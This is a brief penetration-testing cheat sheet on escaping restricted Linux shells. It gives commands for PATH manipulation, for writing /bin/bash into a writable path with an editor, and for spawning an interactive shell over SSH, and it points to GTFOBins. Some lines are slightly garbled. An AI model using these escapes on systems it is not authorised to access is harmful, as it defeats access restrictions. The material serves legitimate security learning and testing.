1.3 KiB
1.3 KiB
Escaping from restricted shells - Jails
GTFOBins
Search in https://gtfobins.github.io/ if you can execute any binary with "Shell" property
Modify PATH
Check if you can modify the PATH env variable
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
Create script
Check if you can create an executable file with /bin/bash as content
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
Get bash from SSH
If you are accessing via ssh you can trick this trick to execute a bash shell:
ssh -t user@<IP> bash # Get directly an interactive shell
Other tricks
****https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
****https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
****https://gtfobins.github.io
It could also be interesting the POST on Bypass Bash restrictions****